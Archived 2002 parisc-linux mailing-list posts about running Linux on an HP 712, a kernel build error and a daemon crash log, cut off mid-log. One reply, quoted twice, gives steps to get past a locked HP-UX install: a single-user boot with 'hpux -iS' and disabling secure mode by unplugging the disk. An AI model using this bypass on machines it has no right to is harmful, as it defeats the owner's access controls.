Xref: news.gmane.org gmane.linux.ports.parisc:16289

Stephen J de Vries wrote:
> I have a HP 712 that I'd purchased recently.
> 
> My question is:
> 
> Can I use a PC monitor, keyboard, and mouse to boot the thing up?  If so,
> does the monitor have to be a multisync or something special?
OK for the PC monitor. Use 'Tab' at boot time to switch 712's resolution
NO for the PC keyboard (pc kbd is 75mA iirc, 712 is 500mA)
I don't know for the mouse.
> 
> In addition, HP-UX is on the hard drive but is locked down.  I was
> thinking of buying an external CD drive and attempting to load debian
> 0.93.  Can anyone recommend a place to buy the CD drive that they have
> dealt with?  I also have a network so I could attempt a network install
> but I am not sure what minimum requirements I'd need to fulfill for that.
You can unlock HP/UX pretty easily if the box isn't in secure mode.
Just stop the boot sequence and at the BOOT_ADMIN prompt type 'bo pri ipl'

Then answer 'y' to the 'interract with...' question, and then type (i 
don't know if we can say this here ;o)

hpux -iS

If the box is in secure mode there is a workaround:
Open it, unplug the HD, boot it, wait for timeout, and then deactivate 
the secure mode ;)
then reboot again.


You can definitly use network to install.
Check the palinux boot howto.
I recommend you use the latest version (still under review, that's why 
it's not yet available on tldp):
http://testpa.esiee.fr/.test/parisc-linux-boot.html

You will find all useful info there.


Thibaut VARENE
PA/Linux ESIEE Team
http://pateam.esiee.fr/




From - Thu Nov 08 21:24:49 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Andreas Deresch <aderesch@fs.tum.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] hardware newbie question...
Date: Wed, 25 Sep 2002 16:00:07 +0200 (CEST)
Lines: 18
Approved: news@gmane.org
Message-ID: <Pine.NEB.4.44.0209251557570.7537-100000@io.fachschaften.tu-muenchen.de>
References: <3D91BB4F.5090205@esiee.fr>
Reply-To: Andreas Deresch <aderesch@fs.tum.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416621768 14746 80.91.229.3 (22 Nov 2014 02:02:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:02:48 +0000 (UTC)
Cc: Stephen J de Vries <paulhill20@juno.com>,
	<parisc-linux@lists.parisc-linux.org>
To: Thibaut VARENE <varenet@esiee.fr>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Sep 25 08:00:14 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hermes.fachschaften.tu-muenchen.de (hermes.fachschaften.tu-muenchen.de [129.187.202.12])
	by dsl2.external.hp.com (Postfix) with SMTP id AF8424829
	for <parisc-linux@lists.parisc-linux.org>; Wed, 25 Sep 2002 08:00:13 -0600 (MDT)
Original-Received: (qmail 7806 invoked from network); 25 Sep 2002 14:00:07 -0000
Original-Received: from io.fachschaften.tu-muenchen.de (HELO io) (129.187.202.62)
  by hermes.fachschaften.tu-muenchen.de with SMTP; 25 Sep 2002 14:00:07 -0000
In-Reply-To: <3D91BB4F.5090205@esiee.fr>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16290

On Wed, 25 Sep 2002, Thibaut VARENE wrote:

> Stephen J de Vries wrote:
> > I have a HP 712 that I'd purchased recently.
> >
> > My question is:
> >
> > Can I use a PC monitor, keyboard, and mouse to boot the thing up?  If so,
> > does the monitor have to be a multisync or something special?
> OK for the PC monitor. Use 'Tab' at boot time to switch 712's resolution
> NO for the PC keyboard (pc kbd is 75mA iirc, 712 is 500mA)
Hhmm. I have used two different PS/2 keyboards on a 712. So far nothing
unexpected has happened to either the box nor the keyboard... it works just
fine.

ad



From - Thu Nov 08 21:24:49 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: =?iso-8859-1?Q?=22Beerse=2C_Corn=E9=22?= <c.beerse@torex-hiscom.nl>
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] hardware newbie question...
Date: Wed, 25 Sep 2002 16:02:31 +0200
Lines: 143
Approved: news@gmane.org
Message-ID: <02Sep25.161413cest.119074@ns.hiscom.nl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative;
	boundary="----_=_NextPart_001_01C2649C.30D8B720"
X-Trace: ger.gmane.org 1416621768 14747 80.91.229.3 (22 Nov 2014 02:02:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:02:48 +0000 (UTC)
To: "'Stephen J de Vries'" <paulhill20@juno.com>,
	parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Sep 25 08:02:42 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hiscom.nl (unknown [130.78.143.1])
	by dsl2.external.hp.com (Postfix) with ESMTP id 88B7C482A
	for <parisc-linux@lists.parisc-linux.org>; Wed, 25 Sep 2002 08:02:41 -0600 (MDT)
Original-Received: by ns.hiscom.nl id <119074>; Wed, 25 Sep 2002 16:14:13 +0200
X-Mailer: Internet Mail Service (5.5.2656.59)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16291

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_001_01C2649C.30D8B720
Content-Type: text/plain;
	charset="iso-8859-1"

> -----Original Message-----
> From: Stephen J de Vries [mailto:paulhill20@juno.com]
> I have a HP 712 that I'd purchased recently.
> 
> 
> Can I use a PC monitor, keyboard, and mouse to boot the thing 
> up?  If so,
> does the monitor have to be a multisync or something special?

I've had a 712 (running HP-UX 10.20) with a multisync monitor (compaq,
before the merger) running verry well.

As I recal, the monitor should do a sync-on-green. If you don't get a proper
picture and have a monitor-cable connection with bnc connectors, try putting
the cable-sync on the monitor-green. This should give a sharp (bad collored)
picture.

For the mouse, the HP mouse that came with the device looks verry much like
a logitech mouse with a black logitech icon. 2 exceptions: the labels differ
and the logitech has a shorter cable. The same logitech with a colored icon
on top does not work. The mouse must be a native ps/2 mouse, not one that
can do serial-mousing too.

For the keyboard: try and see what you get. No experiences with alternates
here. As with the mouse, the keyboard must be native ps/2 since it does not
get any initialize command. An easy test here is that if the bootloader
finds a keyboard, it wil use that keyboard and the video-card for
bootconsole. If the keyboard is not found, the serial-port (9600-8-N) is
used for console.

> 
> In addition, HP-UX is on the hard drive but is locked down.  I was
> thinking of buying an external CD drive and attempting to load debian
> 0.93.  Can anyone recommend a place to buy the CD drive that they have

Any scsi cd-rom that can do a 2K blocksize will do for booting. After boot,
there is no difference. HP-s are relabeled Toshiba's. 

> dealt with?  I also have a network so I could attempt a 
> network install
> but I am not sure what minimum requirements I'd need to 
> fulfill for that.
>  Is my approach the right one?

It's one right one, out of manny...


CBee

------_=_NextPart_001_01C2649C.30D8B720
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2//EN">
<HTML>
<HEAD>
<META HTTP-EQUIV=3D"Content-Type" CONTENT=3D"text/html; =
charset=3Diso-8859-1">
<META NAME=3D"Generator" CONTENT=3D"MS Exchange Server version =
5.5.2654.45">
<TITLE>RE: [parisc-linux] hardware newbie question...</TITLE>
</HEAD>
<BODY>

<P><FONT SIZE=3D2>&gt; -----Original Message-----</FONT>
<BR><FONT SIZE=3D2>&gt; From: Stephen J de Vries [<A =
HREF=3D"mailto:paulhill20@juno.com">mailto:paulhill20@juno.com</A>]</FON=
T>
<BR><FONT SIZE=3D2>&gt; I have a HP 712 that I'd purchased =
recently.</FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt; Can I use a PC monitor, keyboard, and mouse to =
boot the thing </FONT>
<BR><FONT SIZE=3D2>&gt; up?&nbsp; If so,</FONT>
<BR><FONT SIZE=3D2>&gt; does the monitor have to be a multisync or =
something special?</FONT>
</P>

<P><FONT SIZE=3D2>I've had a 712 (running HP-UX 10.20) with a multisync =
monitor (compaq, before the merger) running verry well.</FONT>
</P>

<P><FONT SIZE=3D2>As I recal, the monitor should do a sync-on-green. If =
you don't get a proper picture and have a monitor-cable connection with =
bnc connectors, try putting the cable-sync on the monitor-green. This =
should give a sharp (bad collored) picture.</FONT></P>

<P><FONT SIZE=3D2>For the mouse, the HP mouse that came with the device =
looks verry much like a logitech mouse with a black logitech icon. 2 =
exceptions: the labels differ and the logitech has a shorter cable. The =
same logitech with a colored icon on top does not work. The mouse must =
be a native ps/2 mouse, not one that can do serial-mousing =
too.</FONT></P>

<P><FONT SIZE=3D2>For the keyboard: try and see what you get. No =
experiences with alternates here. As with the mouse, the keyboard must =
be native ps/2 since it does not get any initialize command. An easy =
test here is that if the bootloader finds a keyboard, it wil use that =
keyboard and the video-card for bootconsole. If the keyboard is not =
found, the serial-port (9600-8-N) is used for console.</FONT></P>

<P><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt; In addition, HP-UX is on the hard drive but is =
locked down.&nbsp; I was</FONT>
<BR><FONT SIZE=3D2>&gt; thinking of buying an external CD drive and =
attempting to load debian</FONT>
<BR><FONT SIZE=3D2>&gt; 0.93.&nbsp; Can anyone recommend a place to buy =
the CD drive that they have</FONT>
</P>

<P><FONT SIZE=3D2>Any scsi cd-rom that can do a 2K blocksize will do =
for booting. After boot, there is no difference. HP-s are relabeled =
Toshiba's. </FONT></P>

<P><FONT SIZE=3D2>&gt; dealt with?&nbsp; I also have a network so I =
could attempt a </FONT>
<BR><FONT SIZE=3D2>&gt; network install</FONT>
<BR><FONT SIZE=3D2>&gt; but I am not sure what minimum requirements I'd =
need to </FONT>
<BR><FONT SIZE=3D2>&gt; fulfill for that.</FONT>
<BR><FONT SIZE=3D2>&gt;&nbsp; Is my approach the right one?</FONT>
</P>

<P><FONT SIZE=3D2>It's one right one, out of manny...</FONT>
</P>
<BR>

<P><FONT SIZE=3D2>CBee</FONT>
</P>

</BODY>
</HTML>
------_=_NextPart_001_01C2649C.30D8B720--


From - Thu Nov 08 21:24:49 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "kenneth westelinck" <kennywest1@hotmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] hardware newbie question...
Date: Wed, 25 Sep 2002 17:44:17 +0200
Lines: 66
Approved: news@gmane.org
Message-ID: <OE132K4xDh9vXsFFsAi00001718@hotmail.com>
References: <20020925.090915.-178139.3.paulhill20@juno.com> <3D91BB4F.5090205@esiee.fr>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621769 14749 80.91.229.3 (22 Nov 2014 02:02:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:02:49 +0000 (UTC)
Cc: <parisc-linux@lists.parisc-linux.org>
To: "Thibaut VARENE" <varenet@esiee.fr>,
	"Stephen J de Vries" <paulhill20@juno.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Sep 25 09:46:34 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hotmail.com (oe13.law4.hotmail.com [216.33.148.117])
	by dsl2.external.hp.com (Postfix) with ESMTP id 28C064829
	for <parisc-linux@lists.parisc-linux.org>; Wed, 25 Sep 2002 09:46:33 -0600 (MDT)
Original-Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC;
	 Wed, 25 Sep 2002 08:46:30 -0700
X-Originating-IP: [212.239.139.1]
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 6.00.2600.0000
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000
X-OriginalArrivalTime: 25 Sep 2002 15:46:30.0753 (UTC) FILETIME=[B79CF510:01C264AA]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16292

I have a 712 with the following peripherals:
- monitor from NCD
- mouse from IBM
- keyboard from Phillips
Works just fine.

----- Original Message -----
From: "Thibaut VARENE" <varenet@esiee.fr>
To: "Stephen J de Vries" <paulhill20@juno.com>
Cc: <parisc-linux@lists.parisc-linux.org>
Sent: Wednesday, September 25, 2002 3:34 PM
Subject: Re: [parisc-linux] hardware newbie question...


> Stephen J de Vries wrote:
> > I have a HP 712 that I'd purchased recently.
> >
> > My question is:
> >
> > Can I use a PC monitor, keyboard, and mouse to boot the thing up?  If
so,
> > does the monitor have to be a multisync or something special?
> OK for the PC monitor. Use 'Tab' at boot time to switch 712's resolution
> NO for the PC keyboard (pc kbd is 75mA iirc, 712 is 500mA)
> I don't know for the mouse.
> >
> > In addition, HP-UX is on the hard drive but is locked down.  I was
> > thinking of buying an external CD drive and attempting to load debian
> > 0.93.  Can anyone recommend a place to buy the CD drive that they have
> > dealt with?  I also have a network so I could attempt a network install
> > but I am not sure what minimum requirements I'd need to fulfill for
that.
> You can unlock HP/UX pretty easily if the box isn't in secure mode.
> Just stop the boot sequence and at the BOOT_ADMIN prompt type 'bo pri ipl'
>
> Then answer 'y' to the 'interract with...' question, and then type (i
> don't know if we can say this here ;o)
>
> hpux -iS
>
> If the box is in secure mode there is a workaround:
> Open it, unplug the HD, boot it, wait for timeout, and then deactivate
> the secure mode ;)
> then reboot again.
>
>
> You can definitly use network to install.
> Check the palinux boot howto.
> I recommend you use the latest version (still under review, that's why
> it's not yet available on tldp):
> http://testpa.esiee.fr/.test/parisc-linux-boot.html
>
> You will find all useful info there.
>
>
> Thibaut VARENE
> PA/Linux ESIEE Team
> http://pateam.esiee.fr/
>
>
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
>


From - Thu Nov 08 21:24:49 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: jsoe0708@tiscali.be
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Failure when compile 2.4.19-pa20
Date: Wed, 25 Sep 2002 17:56:08 +0200
Lines: 40
Approved: news@gmane.org
Message-ID: <3D8F011400000BEB@ocpmta2.be.tiscali.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="US-ASCII"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621769 14753 80.91.229.3 (22 Nov 2014 02:02:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:02:49 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Sep 25 09:56:11 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.tiscali.be (unknown [62.235.14.106])
	by dsl2.external.hp.com (Postfix) with ESMTP id 345004829
	for <parisc-linux@lists.parisc-linux.org>; Wed, 25 Sep 2002 09:56:11 -0600 (MDT)
Original-Received: from [193.75.200.4] by mail.tiscali.be with HTTP; Wed, 25 Sep 2002 17:56:08 +0200
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16293

Hi all,

I got USB part of .config from debian-configs/32 (I work on a b180) and try
to compile 2.4.19-pa20 but it failled:

`gcc -print-libgcc-file-name` /usr/src/linux-2.4.19/arch/parisc/lib/lib.a
/usr/src/linux-2.4.19/lib/lib.a  \
        --end-group \
        -o vmlinux
drivers/usb/usbdrv.o: In function `hidinput_hid_event':
drivers/usb/usbdrv.o(.text.hidinput_hid_event+0x80): undefined reference
to `input_event'
drivers/usb/usbdrv.o(.text.hidinput_hid_event+0xb0): undefined reference
to `input_event'
drivers/usb/usbdrv.o: In function `.L951':
drivers/usb/usbdrv.o(.text.hidinput_hid_event+0xfc): undefined reference
to `input_event'
drivers/usb/usbdrv.o: In function `.L939':
drivers/usb/usbdrv.o(.text.hidinput_hid_event+0x13c): undefined reference
to `input_event'
drivers/usb/usbdrv.o: In function `.L959':
drivers/usb/usbdrv.o(.text.hidinput_hid_event+0x174): undefined reference
to `input_event'
drivers/usb/usbdrv.o(.text.hidinput_hid_event+0x1ac): more undefined references
to `input_event' follow
drivers/usb/usbdrv.o: In function `hidinput_connect':
drivers/usb/usbdrv.o(.text.hidinput_connect+0x16c): undefined reference to
`input_register_device'
drivers/usb/usbdrv.o: In function `hidinput_disconnect':
drivers/usb/usbdrv.o(.text.hidinput_disconnect+0x10): undefined reference
to `input_unregister_device'
make: *** [vmlinux] Error 1

Well, I do not need USB for this HW so I will remove for next try.

HTH,

Joel



From - Thu Nov 08 21:24:49 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Failure when compile 2.4.19-pa20
Date: Wed, 25 Sep 2002 17:02:25 +0100
Lines: 9
Approved: news@gmane.org
Message-ID: <20020925170225.D25721@parcelfarce.linux.theplanet.co.uk>
References: <3D8F011400000BEB@ocpmta2.be.tiscali.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621769 14757 80.91.229.3 (22 Nov 2014 02:02:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:02:49 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: jsoe0708@tiscali.be
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Sep 25 10:02:28 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id D3E7E4829
	for <parisc-linux@lists.parisc-linux.org>; Wed, 25 Sep 2002 10:02:27 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.33 #5)
	id 17uEcL-0003y1-00; Wed, 25 Sep 2002 17:02:25 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <3D8F011400000BEB@ocpmta2.be.tiscali.com>; from jsoe0708@tiscali.be on Wed, Sep 25, 2002 at 05:56:08PM +0200
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16294

On Wed, Sep 25, 2002 at 05:56:08PM +0200, jsoe0708@tiscali.be wrote:
> I got USB part of .config from debian-configs/32 (I work on a b180) and try
> to compile 2.4.19-pa20 but it failled:

i'd guess you didn't select CONFIG_INPUT

-- 
Revolutions do not require corporate support.


From - Thu Nov 08 21:24:49 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Failure when compile 2.4.19-pa20
Date: Wed, 25 Sep 2002 18:47:30 +0200
Lines: 14
Approved: news@gmane.org
Message-ID: <200209251847.30715.deller@gmx.de>
References: <3D8F011400000BEB@ocpmta2.be.tiscali.com> <20020925170225.D25721@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416621770 14760 80.91.229.3 (22 Nov 2014 02:02:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:02:50 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Matthew Wilcox <willy@debian.org>, jsoe0708@tiscali.be
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Sep 25 10:53:37 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.gmx.net (mail.gmx.net [213.165.64.20])
	by dsl2.external.hp.com (Postfix) with SMTP id AD6A24829
	for <parisc-linux@lists.parisc-linux.org>; Wed, 25 Sep 2002 10:53:36 -0600 (MDT)
Original-Received: (qmail 2246 invoked by uid 0); 25 Sep 2002 16:53:29 -0000
Original-Received: from pd90407ec.dip.t-dialin.net (HELO P100.helgenet.de) (217.4.7.236)
  by mail.gmx.net (mp019-rz3) with SMTP; 25 Sep 2002 16:53:29 -0000
User-Agent: KMail/1.4.7
In-Reply-To: <20020925170225.D25721@parcelfarce.linux.theplanet.co.uk>
Content-Disposition: inline
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16295

On Wednesday 25 September 2002 18:02, Matthew Wilcox wrote:
> On Wed, Sep 25, 2002 at 05:56:08PM +0200, jsoe0708@tiscali.be wrote:
> > I got USB part of .config from debian-configs/32 (I work on a b180) and
> > try to compile 2.4.19-pa20 but it failled:
>
> i'd guess you didn't select CONFIG_INPUT

CONFIG_INPUT=y
CONFIG_INPUT_EVDEV=y

helge




From - Thu Nov 08 21:24:49 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Stephan <stephan@itp.bg>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] netacct-mysql compilation problem
Date: Wed, 25 Sep 2002 23:00:40 +0200
Lines: 37
Approved: news@gmane.org
Message-ID: <20020925195914.081FA4829@dsl2.external.hp.com>
Reply-To: Stephan <stephan@itp.bg>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/html; charset="iso-8859-1";
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416621770 14762 80.91.229.3 (22 Nov 2014 02:02:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:02:50 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Sep 25 13:59:16 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from ns.itp.bg (itp.solo.bg [212.72.196.10])
	by dsl2.external.hp.com (Postfix) with SMTP id 081FA4829
	for <parisc-linux@lists.parisc-linux.org>; Wed, 25 Sep 2002 13:59:13 -0600 (MDT)
Original-Received: (qmail 9223 invoked from network); 25 Sep 2002 20:00:40 -0000
Original-Received: from softdnserror (HELO Godzilla) (httpd@212.72.204.1)
  by softdnserror with SMTP; 25 Sep 2002 20:00:40 -0000
Original-Received: from client 212.72.196.10 for UebiMiau (webmail client); Wed, 25 Sep 2002 23:00:40 +0200
X-Priority: 3
X-Mailer: Godzilla 1.0
X-MSMail-Priority: Medium
Importance: Medium
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16296

<P>hello, today I downloaded CVS of netacct-mysql, it perfect working na x86
linux, but not on Debian HPPA. It is good software for traffic accounting
written by another bulgarian, like me:)<BR>When I start this program, these
errors appears:</P>
<P>Sep 25 22:54:02 obzor kernel: do_page_fault() pid=25917 command='nacctd'
type=15 address=0x00000000<BR>Sep 25 22:54:02 obzor kernel: <BR>Sep 25
22:54:02 obzor kernel:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI<BR>Sep 25 22:54:02 obzor kernel: PSW:
00000000000001001111111100001111 Not tainted<BR>Sep 25 22:54:02 obzor
